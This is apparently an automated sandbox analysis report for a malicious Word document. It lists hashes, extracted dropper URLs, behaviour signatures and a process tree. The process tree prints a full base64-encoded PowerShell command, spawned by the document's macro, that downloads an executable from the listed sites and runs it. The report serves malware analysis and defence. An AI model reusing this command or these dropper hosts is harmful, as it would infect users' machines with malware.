Analysis

  • max time kernel
    106s
  • max time network
    56s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    22-05-2022 05:25

General

  • Target

    fxtidglj.doc

  • Size

    195KB

  • MD5

    2ff53c10a0d9f280aaa172284df6bed0

  • SHA1

    3cd3a1a3c266acd3e139ad0e9afc623061b0c0dd

  • SHA256

    33bab5da95407fde0ab439aa5942622a7e1286cb5ad74d4e55689fa5c59f8559

  • SHA512

    17b0283e2bafb97dbaa5934cfc2620d56eb8f0c6acb0f24b709c904295d8783e84db55273281322a55889f79b14cd0a579d095f8037f29eeced2766609011dfd

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://vstbar.com/wp-admin/Hs/

exe.dropper

http://binarywebtechsolutions.com/mobile-website-designing-company-in-gurgaon/CLZ/

exe.dropper

http://shahqutubuddin.org/U/

exe.dropper

http://cybersign-001-site5.gtempurl.com/2xwzq/bve/

exe.dropper

https://star-speed.vip/wp-admin/Ttv/

exe.dropper

https://treneg.com.br/rfvmbh/a/

exe.dropper

https://cimsjr.com/hospital/x2f/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fxtidglj.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:560
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABVADMANABrAGoAeQBkAD0AKAAnAEEAcQAnACsAKAAnAHUAJwArACcAaABhAGEAJwApACsAJwBsACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAFIAbwBmAGkATABlAFwAbQA3AGIAaQA0AE8AQwBcAFEAawByAEgAMgBaAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAVQBSAEkAdABgAHkAUAByAGAATwBUAGAAbwBjAE8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADIALAAgACcAKwAnAHQAJwApACsAKAAnAGwAcwAxACcAKwAnADEALAAnACkAKwAoACcAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQAQQA4AGcAdQBtAHkAOQAgAD0AIAAoACgAJwBGAGgAZABuACcAKwAnAHMAJwApACsAJwB1ACcAKQA7ACQAQgAwADkAbABkAHYAZAA9ACgAKAAnAEkAdwAnACsAJwB3ADMAJwApACsAJwB2ACcAKwAnADYAeQAnACkAOwAkAE0AYgBiADkAbwBjAGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAVwBTACcAKwAoACcAeABNACcAKwAnADcAJwApACsAKAAnAGIAaQA0ACcAKwAnAG8AJwApACsAKAAnAGMAJwArACcAVwBTACcAKQArACgAJwB4ACcAKwAnAFEAawByAGgAMgAnACsAJwB6ACcAKQArACgAJwBrAFcAJwArACcAUwB4ACcAKQApACAALQByAEUAUABsAGEAYwBFACAAIAAoACcAVwBTACcAKwAnAHgAJwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAEEAOABnAHUAbQB5ADkAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFYAMwBnAGgAbQA2ADcAPQAoACcAUAAnACsAKAAnADAAJwArACcAbgAwACcAKQArACgAJwB0ACcAKwAnAHYAOAAnACkAKQA7ACQAQwB1AGQAagBsAGwAdwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAEUAQgBjAEwASQBFAG4AVAA7ACQAWQBrADkAdgBkAGcAdQA9ACgAKAAnAGgAdAB0AHAAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AdgBzAHQAJwArACcAYgBhAHIAJwApACsAKAAnAC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKQArACcAcAAnACsAJwAtACcAKwAoACcAYQBkACcAKwAnAG0AJwArACcAaQBuAC8AJwApACsAKAAnAEgAJwArACcAcwAvACcAKwAnACoAaAB0ACcAKQArACcAdAAnACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYgBpACcAKQArACgAJwBuACcAKwAnAGEAcgB5AHcAZQBiAHQAJwArACcAZQAnACkAKwAoACcAYwBoAHMAbwAnACsAJwBsAHUAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAG0AbwBiAGkAbABlACcAKwAnAC0AdwBlACcAKwAnAGIAJwArACcAcwAnACkAKwAoACcAaQB0ACcAKwAnAGUAJwApACsAKAAnAC0AJwArACcAZABlAHMAaQBnACcAKQArACgAJwBuAGkAbgBnACcAKwAnAC0AYwAnACsAJwBvACcAKQArACcAbQBwACcAKwAoACcAYQBuACcAKwAnAHkAJwArACcALQBpAG4ALQAnACkAKwAoACcAZwB1ACcAKwAnAHIAZwAnACkAKwAoACcAYQBvACcAKwAnAG4ALwBDAEwAJwApACsAKAAnAFoAJwArACcALwAqAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAvAHMAaABhACcAKwAnAGgAcQAnACkAKwAnAHUAdAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBkACcAKwAnAGQAaQAnACsAJwBuAC4AJwArACcAbwAnACsAJwByACcAKwAnAGcALwAnACsAJwBVACcAKwAnAC8AJwArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGMAeQBiAGUAcgBzACcAKwAnAGkAZwAnACkAKwAoACcAbgAtACcAKwAnADAAMAAxAC0AcwBpACcAKwAnAHQAZQAnACsAJwA1AC4AZwB0ACcAKwAnAGUAJwApACsAJwBtACcAKwAnAHAAJwArACgAJwB1ACcAKwAnAHIAbAAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACgAJwAyAHgAJwArACcAdwB6AHEAJwApACsAKAAnAC8AYgB2AGUAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQAnACsAJwByAC0AJwArACcAcwBwAGUAZQAnACkAKwAnAGQAJwArACcALgB2ACcAKwAnAGkAJwArACgAJwBwAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACkAKwAnAC8AJwArACcAVAAnACsAKAAnAHQAJwArACcAdgAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAJwArACcAOgAvACcAKwAoACcALwAnACsAJwB0AHIAJwApACsAJwBlACcAKwAoACcAbgBlACcAKwAnAGcAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALgBiACcAKwAnAHIALwAnACsAJwByAGYAJwApACsAKAAnAHYAbQAnACsAJwBiAGgAJwArACcALwBhAC8AKgBoAHQAJwApACsAJwB0AHAAJwArACcAcwAnACsAJwA6AC8AJwArACgAJwAvAGMAaQBtACcAKwAnAHMAJwApACsAKAAnAGoAcgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGgAJwApACsAJwBvAHMAJwArACcAcAAnACsAJwBpAHQAJwArACgAJwBhAGwALwB4ACcAKwAnADIAJwArACcAZgAvACcAKQApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAawAxAG0AbQBuAF8APQAoACcAWQAnACsAJwAxACcAKwAoACcAaAB2AHAAJwArACcAagAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAVABmAHkAdgBqAHQAMwAgAGkAbgAgACQAWQBrADkAdgBkAGcAdQApAHsAdAByAHkAewAkAEMAdQBkAGoAbABsAHcALgAiAEQAYABPAFcAYABOAEwAYABvAGEAZABGAEkATABFACIAKAAkAFQAZgB5AHYAagB0ADMALAAgACQATQBiAGIAOQBvAGMAawApADsAJABPAGEAawB3AG0AbQBmAD0AKAAnAEIAJwArACgAJwA0ACcAKwAnAHoAZgAnACkAKwAoACcAaABlACcAKwAnAGgAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQATQBiAGIAOQBvAGMAawApAC4AIgBsAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADMANQAyADMAMwApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABNAGIAYgA5AG8AYwBrACkAOwAkAE4AdABrAGYAbQA3AHEAPQAoACcAVwAnACsAJwBrAHgAJwArACgAJwB4AGsAJwArACcAMQBuACcAKQApADsAYgByAGUAYQBrADsAJABEAHAAdABsAGwAMgA3AD0AKAAoACcATQBqACcAKwAnAHQAJwApACsAKAAnAHkAJwArACcANQBjADUAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAOAA3ADEAcQBkAGkAPQAoACcAVgAnACsAJwA0ACcAKwAoACcAcQBjAHQAJwArACcAdgAzACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:288

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/288-61-0x000007FEFB9F1000-0x000007FEFB9F3000-memory.dmp
      Filesize

      8KB

    • memory/288-65-0x000000000284B000-0x000000000286A000-memory.dmp
      Filesize

      124KB

    • memory/288-64-0x0000000002844000-0x0000000002847000-memory.dmp
      Filesize

      12KB

    • memory/288-63-0x000007FEF2B10000-0x000007FEF366D000-memory.dmp
      Filesize

      11.4MB

    • memory/288-62-0x000007FEF3670000-0x000007FEF4093000-memory.dmp
      Filesize

      10.1MB

    • memory/560-57-0x0000000075271000-0x0000000075273000-memory.dmp
      Filesize

      8KB

    • memory/560-60-0x0000000000434000-0x0000000000438000-memory.dmp
      Filesize

      16KB

    • memory/560-59-0x0000000000434000-0x0000000000438000-memory.dmp
      Filesize

      16KB

    • memory/560-58-0x0000000070F4D000-0x0000000070F58000-memory.dmp
      Filesize

      44KB

    • memory/560-54-0x00000000724E1000-0x00000000724E4000-memory.dmp
      Filesize

      12KB

    • memory/560-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/560-55-0x000000006FF61000-0x000000006FF63000-memory.dmp
      Filesize

      8KB

    • memory/560-68-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/764-66-0x0000000000000000-mapping.dmp